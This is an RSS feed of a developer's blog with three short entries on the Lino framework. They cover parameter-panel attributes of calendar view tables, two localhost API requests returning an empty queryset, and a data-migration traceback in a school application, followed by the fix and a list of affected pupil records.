<?xml version='1.0' encoding='UTF-8'?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0"><channel><title>Luc's developer blog</title><link>https://luc.lino-framework.org</link><description>Luc's developer blog</description><copyright>2001-2026 Luc Saffre</copyright><docs>http://www.rssboard.org/rss-specification</docs><generator>python-feedgen</generator><language>en</language><lastBuildDate>Sun, 07 Jun 2026 13:07:47 +0000</lastBuildDate><item><title>Saturday, May 30, 2026</title><link>https://luc.lino-framework.org/blog/2026/0530.html</link><description>&lt;section id="saturday-may-30-2026"&gt;
&lt;h1&gt;Saturday, May 30, 2026&lt;a class="headerlink" href="#saturday-may-30-2026" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;DaySlave&lt;/span&gt;&lt;/code&gt; is the only table tha sets &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;use_detail_params_value&lt;/span&gt;&lt;/code&gt; to
&lt;cite&gt;True&lt;/cite&gt;. What does that mean?&lt;/p&gt;
&lt;p&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;DaySlave&lt;/span&gt;&lt;/code&gt; is the base class for&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;DailySlaveBase, WeeklySlaveBase and MonthlySlaveBase,&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;who themselves are base for&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;DailySlave, WeeklySlave and MonthlySlave.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So these three tables are the concrete views that use this option.&lt;/p&gt;
&lt;p&gt;It means that these three tables don’t define their own parameter panel but use
the parameter panel of their master. Their master is either  DailyView,
WeeklyView or MonthlyView.
These three masters
inherit from their common parent &lt;cite&gt;CalendarView&lt;/cite&gt;. They
have another attribute,
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;use_detail_param_panel&lt;/span&gt;&lt;/code&gt;, set to &lt;cite&gt;True&lt;/cite&gt;.&lt;/p&gt;
&lt;p&gt;Maybe the names &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;use_detail_param_panel&lt;/span&gt;&lt;/code&gt; and
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;use_detail_params_value&lt;/span&gt;&lt;/code&gt; aren’t good names.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;use_detail_param_panel : whether this table has a parameter panel in detail view.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2026/0530.html</guid><pubDate>Sat, 30 May 2026 00:00:00 +0000</pubDate></item><item><title>Thursday, May 28, 2026</title><link>https://luc.lino-framework.org/blog/2026/0528.html</link><description>&lt;section id="thursday-may-28-2026"&gt;
&lt;h1&gt;Thursday, May 28, 2026&lt;a class="headerlink" href="#thursday-may-28-2026" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;In patrols1, when calview.WeeklySlave receives parameter values, it returns an
empty queryset.&lt;/p&gt;
&lt;dl class="simple"&gt;
&lt;dt&gt;GET&lt;/dt&gt;&lt;dd&gt;&lt;p&gt;&lt;a class="reference external" href="http://127.0.0.1:8000/api/calview/WeeklySlave?dm=grid&amp;amp;fmt=json&amp;amp;limit=99999&amp;amp;lv=1779921642.6281872&amp;amp;mk=0&amp;amp;rp=weak-key-21&amp;amp;ul=en&amp;amp;wt=t"&gt;http://127.0.0.1:8000/api/calview/WeeklySlave?dm=grid&amp;amp;fmt=json&amp;amp;limit=99999&amp;amp;lv=1779921642.6281872&amp;amp;mk=0&amp;amp;rp=weak-key-21&amp;amp;ul=en&amp;amp;wt=t&lt;/a&gt;&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;GET&lt;/dt&gt;&lt;dd&gt;&lt;p&gt;&lt;a class="reference external" href="http://127.0.0.1:8000/api/calview/WeeklySlave?dm=grid&amp;amp;fmt=json&amp;amp;limit=99999&amp;amp;lv=1779921642.6281872&amp;amp;mk=-4&amp;amp;pv=&amp;amp;pv=01.01.2026&amp;amp;pv=&amp;amp;pv=&amp;amp;pv=&amp;amp;pv=&amp;amp;pv=&amp;amp;pv=&amp;amp;pv=&amp;amp;pv=&amp;amp;pv=&amp;amp;pv=&amp;amp;pv=&amp;amp;pv=&amp;amp;pv=&amp;amp;pv=&amp;amp;pv=&amp;amp;rp=weak-key-23&amp;amp;ul=en&amp;amp;wt=t"&gt;http://127.0.0.1:8000/api/calview/WeeklySlave?dm=grid&amp;amp;fmt=json&amp;amp;limit=99999&amp;amp;lv=1779921642.6281872&amp;amp;mk=-4&amp;amp;pv=&amp;amp;pv=01.01.2026&amp;amp;pv=&amp;amp;pv=&amp;amp;pv=&amp;amp;pv=&amp;amp;pv=&amp;amp;pv=&amp;amp;pv=&amp;amp;pv=&amp;amp;pv=&amp;amp;pv=&amp;amp;pv=&amp;amp;pv=&amp;amp;pv=&amp;amp;pv=&amp;amp;pv=&amp;amp;rp=weak-key-23&amp;amp;ul=en&amp;amp;wt=t&lt;/a&gt;&lt;/p&gt;
&lt;/dd&gt;
&lt;/dl&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2026/0528.html</guid><pubDate>Thu, 28 May 2026 00:00:00 +0000</pubDate></item><item><title>Thursday, May 14, 2026</title><link>https://luc.lino-framework.org/blog/2026/0514.html</link><description>&lt;section id="thursday-may-14-2026"&gt;
&lt;h1&gt;Thursday, May 14, 2026&lt;a class="headerlink" href="#thursday-may-14-2026" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;A surprise during data migration.&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Loading&lt;/span&gt; &lt;span class="mi"&gt;11734&lt;/span&gt; &lt;span class="n"&gt;objects&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;table&lt;/span&gt; &lt;span class="n"&gt;cert_sectionresponse&lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;Deferred&lt;/span&gt; &lt;span class="n"&gt;SectionResponse&lt;/span&gt; &lt;span class="c1"&gt;#358 (&amp;#39;Schriftbild&amp;#39;) : 20250927&lt;/span&gt;
&lt;span class="mi"&gt;20250927&lt;/span&gt;
&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;.../env/repositories/lino/lino/utils/dpy.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;142&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;try_save&lt;/span&gt;
    &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;full_clean&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;.../env/repositories/prima/lino_prima/lib/cert/models.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;285&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;full_clean&lt;/span&gt;
    &lt;span class="nb"&gt;super&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;full_clean&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;.../env/repositories/prima/lino_prima/lib/ratings/mixins.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;123&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;full_clean&lt;/span&gt;
    &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="ne"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;20250927&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="ne"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;20250927&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="ne"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Abandoning&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="mi"&gt;168&lt;/span&gt; &lt;span class="n"&gt;unsaved&lt;/span&gt; &lt;span class="n"&gt;instances&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;cert&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SectionResponse&lt;/span&gt; &lt;span class="mi"&gt;20250927&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;168&lt;/span&gt; &lt;span class="nb"&gt;object&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;primary&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="mi"&gt;358&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1942&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2349&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1053&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3485&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2264&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2435&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;325&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3308&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;751&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3870&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;712&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;721&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1156&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2424&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2016&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3906&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1477&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3163&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;41&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;579&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1535&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2370&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;924&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3512&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1813&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;763&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;946&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3532&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1879&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1088&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1467&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3122&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;731&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;977&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1910&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3329&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1530&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3176&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1768&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4706&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1892&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2394&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;826&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3945&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1469&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3697&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;324&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2455&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1217&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2944&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1805&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3645&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1027&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3726&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1146&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3137&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1591&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2988&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1930&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2696&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;182&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4012&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1636&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2076&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4066&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3736&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;998&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3376&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2633&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4679&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1584&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3225&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2970&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3251&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1136&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2505&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1278&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3058&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1368&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3556&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2006&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2213&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1081&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3400&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1502&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3300&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2008&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;83&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1663&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3160&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2705&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4217&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2064&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1979&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2086&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2555&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1868&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2404&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2163&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4257&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1302&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4278&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;367&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4299&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1983&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;518&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2031&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4702&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;658&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2426&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1497&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4244&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1882&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3571&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;716&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4228&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;413&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2581&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1955&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;350&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3516&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;766&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3554&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;821&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4705&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;883&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3575&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;39&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1943&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;674&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1905&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1664&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3086&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1698&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2620&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1542&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4197&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;952&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3584&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;606&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3033&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;525&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1974&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1343&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4130&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1646&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3016&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3594&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2694&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4208&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;114&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3606&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2083&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2590&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1929&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3501&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1556&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3694&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1749&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3084&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;154&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3617&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1248&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4482&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;3999&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This is because both section.rating_type and score are not &lt;cite&gt;None&lt;/cite&gt;.&lt;/p&gt;
&lt;p&gt;nano snapshot/cert_sectionresponse.py&lt;/p&gt;
&lt;p&gt;# fields: id, body, body_short_preview, body_full_preview, score, smiley, predicate, certificate, section&lt;/p&gt;
&lt;dl class="simple"&gt;
&lt;dt&gt;loader.save(create_cert_sectionresponse(358,&lt;/dt&gt;&lt;dd&gt;&lt;dl class="simple"&gt;
&lt;dt&gt;‘&amp;lt;p&amp;gt;Comment.&amp;lt;/p&amp;gt;’,’Comment.’,’&amp;lt;p&amp;gt;Comment.&amp;lt;/p&amp;gt;’,&lt;/dt&gt;&lt;dd&gt;&lt;p&gt;‘5.0’,None,None,3430,6))&lt;/p&gt;
&lt;/dd&gt;
&lt;/dl&gt;
&lt;/dd&gt;
&lt;/dl&gt;
&lt;p&gt;After removing the exception:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;lino.core.exceptions.UnresolvedChoice: Unresolved value &amp;#39;5.0&amp;#39; (&amp;lt;class &amp;#39;str&amp;#39;&amp;gt;) for ratings.Predicates (set Site.strict_choicelist_values to False to ignore this)
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;After changing the exception into a warning and return:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;SectionResponse&lt;/span&gt; &lt;span class="c1"&gt;#358 (&amp;#39;Schriftbild&amp;#39;) : non-empty rating_type Prädikate and score is given&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;358 : 1B (2024/25) » AZEMI, Ajan (1B (2024/25)) 2024/25-1 » Schriftbild
1942 : 1A (2024/25) » BAHA SCHYNS, Andrea (1A (2024/25)) 2024/25-1 » Schriftbild
2349 : 1A (2024/25) » BAHA SCHYNS, Andrea (1A (2024/25)) 2024/25-2 » Schriftbild
…
3999 : 2A (2024/25) » Z-GUSHANI, Leyla (2A (2024/25)) 2024/25-2 » Schriftbild&lt;/p&gt;
&lt;/section&gt;
